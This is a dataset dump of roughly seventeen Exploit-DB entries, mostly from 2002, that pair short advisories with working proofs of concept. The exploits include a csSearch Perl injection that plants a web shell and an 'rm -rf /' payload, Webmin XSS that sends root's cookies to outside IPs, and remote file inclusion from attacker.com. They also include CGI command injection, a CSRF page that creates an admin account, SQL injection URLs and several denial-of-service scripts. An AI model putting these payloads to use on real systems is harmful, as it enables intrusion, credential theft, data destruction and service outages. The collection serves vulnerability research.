QLWD/code_shield huggingface dataset:
标题: CSSearch 2.3 - Remote Command Execution EDB-ID: 21354 CVE: 2002-0495 类型: REMOTE 平台: CGI 发布日期: 2002-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/4368/info

csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems.

csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process.

For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example:

http://host/cgi-bin/csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE 

Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.

csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

For example, the classic "rm -rf /" example would be
as follows:

csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`

Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
print "<input type=text name=cmd size=99> ";
print "<input type=submit value=Execute><hr><xmp>";
$in{'cmd'} && print `$in{'cmd'} 2>&1`;
exit;
};

URL Encoded as:

csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm
and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26
%26print`$in{'cmd'}+2>%261`;exit;}; URL: https://www.exploit-db.com/exploits/21354
标题: Webmin 0.x - Code Input Validation EDB-ID: 21348 CVE: 2002-1673 类型: LOCAL 平台: LINUX 发布日期: 2002-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/4329/info

Webmin is a web-based interface for system administration of Unix and Linux operating systems.

Webmin does not filter script code from output that may be displayed by the web interface, such as log files, etc. This may enable a local attacker, with write privileges to such files, to cause arbitrary script code to be executed by the root user. Additionally, an attacker who can contrive a way to inject malicious script code into other types of output displayed by the Webmin interface may also exploit this issue.

This may enable the attacker to steal cookie-based authentication credentials from the root user, eventually resulting in an escalation of privileges for the local attacker. 

Insert the following line into the virtusers file, and wait for the root
user to visit that page:
</tt></a></td><tt><td><script>/* */document.write('<img
src="http://192.168.40.1/'+document.cookie+'">');</script>

Or the following into the /etc/aliases file:
</a></td><td><tt><script>zz=unescape("%20");document.write('<img'/*:
*/+zz+'src="http://10.1.1.33/'+document.cookie+'">');</script>

Potentially more likely to be exploited however, would be a malicious
local user who has _no_ access to webmin, who could change a file that
webmin views through the HTML
interface (where the code being read in is not checked for HTML). An
example would be changing their
'real name' in /etc/passwd to be something along the lines of:
<script>zz=unescape("%3A");document.write('<img
src="http'+zz+'//10.1.1.33/'+document.cookie+'">');</script>
(Although chfn doesn't let you specify a username this long, but you get
the idea.) URL: https://www.exploit-db.com/exploits/21348
标题: PHP-Nuke 5.x - Error Message Web Root Disclosure EDB-ID: 21349 CVE: 2002-0483 类型: WEBAPPS 平台: PHP 发布日期: 2002-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/4333/info

PHP-Nuke is a popular web based Portal system. It allows users to create accounts and contribute content to the site.

A vulnerability has been reported in some versions of PHP-Nuke. Reportedly, a maliciously constructed HTTP request will cause the index.php script to return an error message which includes the full path of the script.

It has been suggested that this is the result of an insecure server configuration. 

http://www.site.com/index.php?file=index.php URL: https://www.exploit-db.com/exploits/21349
标题: Citrix NFuse 1.51/1.6 - Cross-Site Scripting EDB-ID: 21355 CVE: 2002-0504 类型: REMOTE 平台: JSP 发布日期: 2002-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/4372/info

Citrix NFuse is an application portal server meant to provide the functionality of any application on the server via a web browser. NFuse works in conjunction with a previously-installed webserver. NFuse is said to support almost any operating system, including Unix and Linux variants, as well as Microsoft Windows operating systems.

A cross-site scripting vulnerability exists in Citrix NFuse. The launch.asp and launch.jsp scripts do not filter script code from URL parameters. An attacker may create a malicious link to one of these scripts which includes script code, which will be executed in the browser of an arbitrary web user who visits the link, in the security context of the site running Citrix NFuse.

This may enable an attacker to steal cookie-based authentication credentials from legitimate users of the vulnerable software. 

http://my_nfuse_portal.com/launch.jsp?NFuse_Application=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/21355
标题: Qualcomm QPopper 4.0.x - Remote Denial of Service EDB-ID: 21345 CVE: 2002-0454 类型: DOS 平台: UNIX 发布日期: 2002-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/4295/info

Qualcomm's QPopper is a POP3 mail server for Linux and Unix based systems. Recent versions of QPopper have been released as open source projects.

A vulnerability has been reported in some versions of qpopper. Reportedly, if a string of longer than approximately 2048 characters is sent to the qpopper process, a denial of service condition will occur. 

perl -e '{print "A"x"2049"}' | netcat host.com 110 URL: https://www.exploit-db.com/exploits/21345
标题: PHP 3.0.x/4.x - Move_Uploaded_File open_basedir Circumvention EDB-ID: 21347 CVE: 2002-0484 类型: LOCAL 平台: PHP 发布日期: 2002-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4325/info

PHP is a server side scripting language, designed to be embedded within HTML files. It is available for Windows, Linux, and many Unix based operating systems. It is commonly used for web development, and is very widely deployed.

It has been reported that the move_uploaded_file function lacks an open_basedir check. The effect of this issue is that this function may be used to perform file operations on directories outside of those specified by the open_basedir setting.

This vulnerability may not be exploited to overwrite existing files. 

<?

$file = $HTTP_POST_FILES['file']['name'];
$type = $HTTP_POST_FILES['file']['type'];
$size = $HTTP_POST_FILES['file']['size'];
$temp = $HTTP_POST_FILES['file']['tmp_name'];

$size_limit = "100000"; // set size limit in bytes

if ($file){
if ($size < $size_limit){

move_uploaded_file($temp,
"/domains/somebodyelse.org/public_html/www/test/".$file);
echo "The file <tt>$file</tt> was sucessfully
uploaded";
} else {
echo "Sorry, your file exceeds the size limit of $size_limit
bytes";
}}

echo "
<form enctype='multipart/form-data' action=$PHP_SELF method=post>
Upload a file: <input name='file' type='file'>
<input type='submit' value='Upload'>
</form>
";
?> URL: https://www.exploit-db.com/exploits/21347
标题: Microsoft Internet Explorer 5/6 / Mozilla 0.8/0.9.x / Opera 5/6 - JavaScript Interpreter Denial of Service EDB-ID: 21346 CVE: 2002-0461 类型: DOS 平台: WINDOWS 发布日期: 2002-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4322/info

It is possible to create a loop in JavaScript which is capable of crashing various web browsers. This is due to a flaw in the JavaScript interpreter. Browsers that have been tested include Microsoft Internet Explorer, Mozilla and Opera.

It has been reported that on some environments (such as IE with Windows 2000) the error message generated by exploitation of this issue indicates that a stack overflow has occurred. It is not known whether this issue may be exploited to execute arbitrary code. 

<html>
<head>
<script language="JavaScript">
<!--
function crashme () {
var url = document.location
if (document.images) {
location.replace(url);
} else {
location.href = url;
}
crashme ()
}
-->
</script>
</head>
<body onLoad="crashme ()">
<center>
<h3>IE Javascript Crash Test</h3>
</center>
</body>
</html> URL: https://www.exploit-db.com/exploits/21346
标题: Microsoft Windows NT 4.0/2000 - Process Handle Local Privilege Escalation EDB-ID: 21344 CVE: 2002-0367 类型: LOCAL 平台: WINDOWS 发布日期: 2002-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/4287/info

A vulnerability in Microsoft Windows 2000 and NT 4 could allow a user to gain SYSTEM-level privileges on the local host.

The debugging subsystem, which is available to all users, may be used to create duplicate handles to a privileged process. This may allow an application with minimal privileges to execute arbitrary code with the privileges of the process that is accessed.

05/06/2002: There have been reports of a mass-mailing worm that exploits this vulnerability using the proof-of-concept exploit. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21344.zip URL: https://www.exploit-db.com/exploits/21344
标题: Xerver 2.10 - Multiple Request Denial of Service Vulnerabilities EDB-ID: 21336 CVE: 2002-0448 类型: DOS 平台: WINDOWS 发布日期: 2002-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/4254/info

Xerver is a freely available webserver, written in Java. It will run on any operating system with Java installed, including Microsoft Windows, Unix/Linux variants, MacOS, etc.

It has been reported that sending an excessive number of requests for 'C:\' to port 32123 will cause the webserver to crash, denying service to legitimate users. This appears to be the case even on non-Windows based operating systems running the vulnerable software.

The webserver will need to be restarted to regain normal functionality.

This issue was reported for v2.10 of Xerver. Earlier versions may also be affected.


printf "GET /`perl -e 'print "C:/"x500000'`\r\n\r\n" |nc -vvn 127.0.0.1 32123 URL: https://www.exploit-db.com/exploits/21336
标题: Solaris 7.0/8 Sunsolve CD - SSCD_SunCourier.pl CGI Script Arbitrary Command Execution EDB-ID: 21340 CVE: 2002-0436 类型: REMOTE 平台: CGI 发布日期: 2002-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/4269/info

The Sunsolve CD is part of the Solaris Media pack. It is included as a documentation resource, and is available for the Solaris Operating Environment.

A CGI script included with the CD does not adequately sanitize input. Due to a design failure which does not remove special characters such as the pipe (|) character, a user submitting a malicious email address to the script could execute arbitrary commands with the permissions of the executing program. 

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
ua = new LWP::UserAgent;
$ua->agent("Scrapers");
my $req = POST  'http://sunsolveCD.box.com:8383/cd-cgi/sscd_suncourier.pl',
[
step =>  "submit" ,
emailaddr => "foo\@bar.com| id > /tmp/foo|"];
$res = $ua->request($req);
print $res->as_string;
print "code", $res->code, "\n"; URL: https://www.exploit-db.com/exploits/21340
标题: PHProjekt 3.1 - Remote File Inclusion EDB-ID: 21343 CVE: 2002-0451 类型: WEBAPPS 平台: PHP 发布日期: 2002-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/4284/info

PHProjekt is a freely available, open source PHP Groupware package. It is actively maintained by the PHProjekt Development Team. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

PHProjekt is prone to an issue which may allow an attacker to include arbitrary files located on a remote server. If the included file is a PHP script, this may allow for execution of arbitrary attacker-supplied code.

Successful exploitation depends partly on the configuration of PHP on the host running the vulnerable software. If 'all_url_fopen' is set to 'off' then exploitation of this issue may be limited. 

http://site.com/filemanager/filemanager_forms.php?lib_path=http://attacker.com/nasty/scripts URL: https://www.exploit-db.com/exploits/21343
标题: Cobalt RaQ 2.0/3.0/4.0 XTR - 'MultiFileUpload.php' Authentication Bypass (2) EDB-ID: 21335 CVE: 2002-0430 类型: REMOTE 平台: PHP 发布日期: 2002-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/4252/info
 
Cobalt RaQ is a server appliance for Internet-based services. It is distributed and maintained by Sun Microsystems.
 
The 'MultiFileUpload.php' script is not sufficiently protected from outside access. While other sensitive administrative scripts are protected with HTTP authentication, 'MultiFileUpload.php' is not. Remote clients may invoke the execution of this script without valid administrator credentials.
 
In doing so, it is possible for an attacker to upload files that are created on the server filesystem as any user.
 
Furthermore, the uploaded files are stored in '/tmp' with predictable filenames. If the attacker has local access to the system, this vulnerability can be exploited to overwrite a file of equal user and group ownership through the use of a symbolic link.
 
Successful exploitation of this vulnerability by an attacker with local access may result in a compromise of root privileges. Attackers without local access may be able to cause a denial of service through consumption of disk space.

#!/bin/sh
#Script for creating symlinks from output of local-timerace-xtr

for foo in `perl -x xtr-timerace-xtr.pl`
do
ln -s /etc/passwd $foo
done URL: https://www.exploit-db.com/exploits/21335
标题: XTux Server 2001.0 6.01 - Garbage Denial of Service EDB-ID: 21338 CVE: 2002-0431 类型: DOS 平台: LINUX 发布日期: 2002-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/4260/info

XTux is a multiplayer network game for Linux. The server component (June 01, 2001 version) is vulnerable to a denial of service initiated by connecting to the server and sending unexpected characters. This causes the server to become unresponsive and consume resources. 

#!/usr/bin/perl
#
# xtux server DoS - by b0iler
# server will become unresponcive and takes up lots of CPU.

use IO::Socket;

for($n=0;$n<=3;$n++){ #you shouldn't even need all 3 connections.
        print "Connecting to $ARGV[0] port $ARGV[1]\n";
        $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],  PeerPort =>
$ARGV[1], Proto    => 'tcp' ) or print "\ncouldn't connect\n\n";
        sleep 3;
        print $sock "garbage data\n\n";
}
exit; URL: https://www.exploit-db.com/exploits/21338
标题: Netsweeper WebAdmin Portal - Multiple Vulnerabilities EDB-ID: 21330 CVE: 2012-3859 类型: WEBAPPS 平台: PHP 发布日期: 2012-09-17 漏洞利用脚本: # Exploit Title: Netsweeper WebAdmin Portal CSRF, Reflective XSS, and SQL Injection ("The later")\
# Date: Discovered and reported CSRF and XSS 4/2012 and "The later" 7/2012\
# Author: Jacob Holcomb/Gimppy042\
# Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com)\
# CVE :
CVE-2012-2446 for the XSS issues, CVE-2012-2447 for the CSRF, and 
CVE-2012-3859 for the SQL Injection ("The later)
NOTE:

# "The later" was disclosed and reported to Netsweeper at a later date and will be posted as an addendum to this post and my posted disclosure report in the near future. "The later" vulnerability bears CVE-2012-3859.

CSRF Exploitation:

In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged in for CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.

<head>
<title>CSRF Create Admin - Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>
</head>

<body>

<form name="pwnd" action="http://server.domain_name/webadmin/accountmgr/adminupdate.php?act=add&filter_login=&goodmsg=Account+Added" method="post">
<input type="hidden" name="userid" value="netsweeperPWND" />
<input type="hidden" name="firstname" value="Jacob" />
<input type="hidden" name="lastname" value="Holcomb" />
<input type="hidden" name="email" value="pwnd@pwnd.com" />
<input type="hidden" name="organization" value="yep_PWND" />
<input type="hidden" name="description" value="PWND" />
<input type="hidden" name="pass1" value="Pwnd-321" />
<input type="hidden" name="pass2" value="Pwnd-321" />
<input type="hidden" name="classification" value="admin" />
<input type="hidden" name="expire" value="" />
<input type="hidden" name="accounttheme" value="" />
<input type="hidden" name="accountpmtheme" value="gpmtheme" />

<script>
document.pwnd.submit();
</script>

</body>


XSS Exploitation:

The following POC code exploits a reflective XSS vulnerability using the HTTP POST method.

<head>
<title>Post XSS(Reflective) Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>
</head>

<body>

<form name="pwnd" action="http:// server.domain_name
/webadmin/tools/local_lookup.php?action=lookup" method="post">
<input type="hidden" name="user" value="pwnd" />
<input type="hidden" name="group" value="><script>alert('XSS')</script>" />
<input type="hidden" name="policy" value="pwnd" />
<input type="hidden" name="url" value="pwnd" />

<script>
document.getElementById('pwnd').submit();
</script>

</body>


SQL Injection ("The later") Exploitation:

The Netsweeper Internet Filter WebAdmin Portal is vulnerable to SQL injection, in the sortorder and sortitem variables.

http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem= SQLi
none &sortorder=asc&type=demand&id=1441
or

http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem=report_date&sortorder= SQLi
none &type=demand&id=1441. URL: https://www.exploit-db.com/exploits/21330
标题: Cobalt RaQ 2.0/3.0/4.0 XTR - 'MultiFileUpload.php' Authentication Bypass (1) EDB-ID: 21334 CVE: 2002-0430 类型: REMOTE 平台: PHP 发布日期: 2002-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/4252/info

Cobalt RaQ is a server appliance for Internet-based services. It is distributed and maintained by Sun Microsystems.

The 'MultiFileUpload.php' script is not sufficiently protected from outside access. While other sensitive administrative scripts are protected with HTTP authentication, 'MultiFileUpload.php' is not. Remote clients may invoke the execution of this script without valid administrator credentials.

In doing so, it is possible for an attacker to upload files that are created on the server filesystem as any user.

Furthermore, the uploaded files are stored in '/tmp' with predictable filenames. If the attacker has local access to the system, this vulnerability can be exploited to overwrite a file of equal user and group ownership through the use of a symbolic link.

Successful exploitation of this vulnerability by an attacker with local access may result in a compromise of root privileges. Attackers without local access may be able to cause a denial of service through consumption of disk space.

#!/usr/bin/perl
# mass base64 time encoder
# part of Cobalt UIFC XTR remote/local combination attack


use MIME::Base64;
$evil_time = time();

$exploit_secs = 10; # time in seconds you got to exploit this bug (race)

for($i=1;$i<=$exploit_secs; $i++) {
      $evil_time = $evil_time+1;
      $evilstr = encode_base64($evil_time);
      print $evilstr;
} URL: https://www.exploit-db.com/exploits/21334
标题: Menasoft SPHEREserver 0.99 - Denial of Service EDB-ID: 21337 CVE: 2002-0406 类型: DOS 平台: MULTIPLE 发布日期: 2002-03-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/4258/info

Menasoft SPHEREserver .99 is an online role playing game server. It is vulnerable to a denial of service; multiple connections to the server can be made from a single machine, exhausting available connections and denying connections to legitimate users.

/*
 *
 * www.h07.org
 * H Zero Seven
 * Unix Security Research Team
 *
 * Sphere Ultima Online Server - Denial of Service Vulnerability
 * poc-exploit...
 *
 * Simple code to eat all connections from the gameserver, so other
 * peoples could not connect to the server.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>

int Connect(int ip, int port)
{
   int fd;
   struct sockaddr_in tgt;

   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) return -1;
   memset(&tgt,0,sizeof(struct sockaddr_in));
   tgt.sin_port = htons(port);
   tgt.sin_family = AF_INET;
   tgt.sin_addr.s_addr = ip;
   if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0)
return -1;
   return fd;
}

int sprint(int fd, const char *str,...)
{
   va_list args;
   char buf[4096];
   memset(&buf,0,sizeof(buf));
   va_start(args,str);
   vsnprintf(buf,sizeof(buf),str,args);
   return(write(fd,buf,strlen(buf)));
}

int main(int argc, char *argv[])
{
   int fd;
   struct sockaddr_in box;

   fprintf(stderr, "SphereServer DoS Exploit [poc]\n");
   fprintf(stderr, "H Zero Seven - Unix Security Research Team -
www.h07.org\n\n");
   if (argc < 2) {
      fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]);
      return;
   }

   fprintf(stderr,"for the full advisory regarding this vulnerability
visit www.h07.org ... \n");
   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) {
      perror("socket() ");
      return;
   }

   fprintf(stderr,"Attacking sphere : ");
   for (;;) {
      int sock;

      sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128);
      if (sock<0) {
         sleep(10);
         continue;
      }
       fprintf(stderr, ".*");
   }
} URL: https://www.exploit-db.com/exploits/21337
标题: ReBB 1.0 - Image Tag Cross-Agent Scripting EDB-ID: 21312 CVE: 2002-0413 类型: WEBAPPS 平台: PHP 发布日期: 2002-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/4220/info

ReBB is web forum software which will run on most Unix and Linux variants, as well as Microsoft Windows operating systems. It is written in PHP and may be back-ended by a number of databases.

ReBB allows users to include images in forum messages using image tags, with the following syntax:

[img]url of image[/img]

It is possible to inject arbitrary script code into forum messages via these image tags. Script code will be executed in the browser of the user viewing the forum message, in the context of the website running the vulnerable software. This may allow an attacker to steal cookie-based authentication credentials. 

[img]javascript:alert('test')[/img] URL: https://www.exploit-db.com/exploits/21312